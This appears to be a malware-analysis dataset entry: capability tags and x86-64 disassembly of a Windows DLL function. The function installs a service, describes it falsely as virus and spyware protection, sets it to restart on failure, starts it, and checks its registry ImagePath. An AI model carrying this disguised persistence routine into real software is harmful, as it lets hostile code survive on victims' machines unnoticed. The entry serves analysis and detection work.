Function at 0x18000aa80
Capabilities:
Check if file exists
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Start service

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x198
mov qword [rsp + 0x168], 0xfffffffffffffffe
mov rax, qword [0x1803a5f20]
xor rax, rsp
mov qword [rsp + 0x188], rax
mov byte [rsp + 0x70], 1
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x88]
call fcn.180007740
nop
lea rcx, [rsp + 0x88]
call fcn.180008190
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x18000ab1e
lea rdx, [0x18010d07c]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007e60
mov byte [rsp + 0x71], 0
lea rcx, [rsp + 0x88]
call fcn.180001b80
movzx eax, byte [rsp + 0x71]
jmp 0x18000b215
mov rdx, qword [rsp + 0x1a8]
lea rcx, [rsp + 0xa0]
call fcn.180007740
nop
lea rcx, [rsp + 0xa0]
call fcn.18000b230
movzx eax, al
test eax, eax
jne 0x18000ab64
mov r8, qword [rsp + 0xa0]
lea rdx, [0x18010d080]
lea rcx, [rsp + 0x88]
call fcn.1800083b0
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x18000abbf
lea rdx, [0x18010d084]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007e60
mov byte [rsp + 0x72], 0
lea rcx, [rsp + 0xa0]
call fcn.180001b80
nop
lea rcx, [rsp + 0x88]
call fcn.180001b80
movzx eax, byte [rsp + 0x72]
jmp 0x18000b215
lea rcx, [rsp + 0x88]
call fcn.180008190
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
mov r9d, 0xf01ff
mov r8, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x18000acdd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xb0], eax
lea rcx, [rsp + 0xd0]
call fcn.1800077a0
nop
mov r8d, dword [rsp + 0xb0]
lea rdx, str.03_d
lea rcx, [rsp + 0xd0]
call fcn.180008c40
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007e30
mov byte [rsp + 0x73], 0
lea rcx, [rsp + 0xd0]
call fcn.180001b80
nop
lea rcx, [rsp + 0xa0]
call fcn.180001b80
nop
lea rcx, [rsp + 0x88]
call fcn.180001b80
movzx eax, byte [rsp + 0x73]
jmp 0x18000b215
mov dword [rsp + 0xb4], 1
lea r8, [rsp + 0xb4]
mov edx, 3
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea rax, str.This_service_protect_your_pc_from_viruses_and_spyware.
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
mov edx, 1
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0x78], 0
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x18000b18e
mov r8d, 0xf01ff
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x18000b122
mov dword [rsp + 0xf0], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf8], 0
mov dword [rsp + 0x108], 3
lea rax, [rsp + 0x170]
mov qword [rsp + 0x110], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x110]
mov dword [rcx + rax], 1
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x110]
mov dword [rcx + rax + 4], 0x64
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x110]
mov dword [rcx + rax], 1
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x110]
mov dword [rcx + rax + 4], 0x64
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0x110]
mov dword [rcx + rax], 1
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0x110]
mov dword [rcx + rax + 4], 0x64
lea r8, [rsp + 0xf0]
mov edx, 2
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov rcx, qword [rsp + 0x98]
call fcn.18000bcb0
movzx eax, byte [rsp + 0x1b8]
test eax, eax
je 0x18000b0ee
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x18000b0e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x80], eax
lea rcx, [rsp + 0x90]
call fcn.1800077a0
nop
mov r8d, dword [rsp + 0x80]
lea rdx, str.07_d
lea rcx, [rsp + 0x90]
call fcn.180008c40
cmp dword [rsp + 0x80], 2
jne 0x18000b0be
mov dword [rsp + 0xbc], 1
mov dword [rsp + 0xb8], 0x104
lea rcx, [rsp + 0xd8]
call fcn.1800077a0
nop
mov edx, 0x104
lea rcx, [rsp + 0xd8]
call fcn.180009d20
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x150]
call fcn.180007740
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x130], rax
mov r8, qword [rsp + 0x130]
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rsp + 0x148]
call fcn.180008280
mov qword [rsp + 0x138], rax
mov rcx, qword [rsp + 0x138]
call fcn.180008190
lea rcx, [rsp + 0xb8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xbc]
lea r8, str.ImagePath
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov dword [rsp + 0xc0], eax
lea rcx, [rsp + 0x148]
call fcn.180001b80
nop
lea rcx, [rsp + 0x150]
call fcn.180001b80
cmp dword [rsp + 0xc0], 0
jne 0x18000b0b1
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x160]
call fcn.180007740
mov qword [rsp + 0x158], rax
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0xd8]
call fcn.180008100
mov byte [rsp + 0x74], al
lea rcx, [rsp + 0x160]
call fcn.180001b80
movzx eax, byte [rsp + 0x74]
test eax, eax
je 0x18000b094
mov r8d, dword [rsp + 0x80]
lea rdx, str.07_d_0
lea rcx, [rsp + 0x90]
call fcn.180008c40
jmp 0x18000b0b1
mov r8d, dword [rsp + 0x80]
lea rdx, str.07_d_1
lea rcx, [rsp + 0x90]
call fcn.180008c40
nop
lea rcx, [rsp + 0xd8]
call fcn.180001b80
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007e30
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x90]
call fcn.180001b80
jmp 0x18000b0ec
mov byte [rsp + 0x70], 1
jmp 0x18000b107
lea rdx, [0x18010d114]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007e60
mov byte [rsp + 0x70], 0
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x18000b18c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xc4], eax
lea rcx, [rsp + 0xe0]
call fcn.1800077a0
nop
mov r8d, dword [rsp + 0xc4]
lea rdx, str.05_d
lea rcx, [rsp + 0xe0]
call fcn.180008c40
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007e30
mov byte [rsp + 0x70], 0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
lea rcx, [rsp + 0xe0]
call fcn.180001b80
jmp 0x18000b1ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xc8], eax
lea rcx, [rsp + 0xe8]
call fcn.1800077a0
nop
mov r8d, dword [rsp + 0xc8]
lea rdx, str.04_d
lea rcx, [rsp + 0xe8]
call fcn.180008c40
lea rdx, [rsp + 0xe8]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007e30
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0xe8]
call fcn.180001b80
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x75], al
lea rcx, [rsp + 0xa0]
call fcn.180001b80
nop
lea rcx, [rsp + 0x88]
call fcn.180001b80
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.1800f1430
add rsp, 0x198
ret